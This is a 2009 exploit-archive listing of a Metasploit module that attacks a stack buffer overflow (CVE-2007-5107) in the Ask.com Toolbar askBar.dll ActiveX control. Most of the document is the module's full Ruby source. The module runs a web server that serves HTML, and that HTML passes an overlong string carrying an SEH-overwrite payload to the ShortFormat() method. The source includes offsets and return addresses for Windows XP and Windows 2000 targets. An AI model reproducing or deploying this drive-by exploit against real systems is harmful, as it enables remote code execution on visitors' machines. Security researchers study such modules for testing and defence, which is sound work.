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Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow

Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow
Posted Nov 26, 2009
Authored by MC | Site metasploit.com

This Metasploit module exploits a stack overflow in Ask.com Toolbar 4.0.2.53. An attacker may be able to execute arbitrary code by sending an overly long string to the "ShortFormat()" method in askbar.dll.

tags | exploit, overflow, arbitrary
advisories | CVE-2007-5107
MD5 | 6468ef0292a337f26024734a3db1ef31

Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Ask.com Toolbar 4.0.2.53.
An attacker may be able to excute arbitrary code by sending an overly
long string to the "ShortFormat()" method in askbar.dll.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2007-5107' ],
[ 'OSVDB', '37735' ],
[ 'URL', 'http://wslabi.com/wabisabilabi/showBidInfo.do?code=ZD-00000148' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 2876, 'Ret' => 0x71aa32ad } ],
[ 'Windows 2000 Pro English ALL', { 'Offset' => 1716, 'Ret' => 0x75022ac4 } ],
],
'DisclosureDate' => 'Sep 24 2007',
'DefaultTarget' => 0))
end

def autofilter
false
end

def check_dependencies
use_zlib
end

def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)

# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)

# Set the exploit buffer
filler = rand_text_alpha(target['Offset'])
seh = generate_seh_payload(target.ret)
sploit = filler + seh + rand_text_alpha(payload.encoded.length)

# Build out the message
content = %Q|
<html>
<object classid='clsid:5A074B2B-F830-49DE-A31B-5BB9D7F6B407' id='#{vname}'></object>
<script language='javascript'>
#{strname} = new String('#{sploit}');
#{vname}.ShortFormat = #{strname}
</script>
</html>
|

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client
send_response_html(cli, content)

# Handle the payload
handler(cli)
end

end

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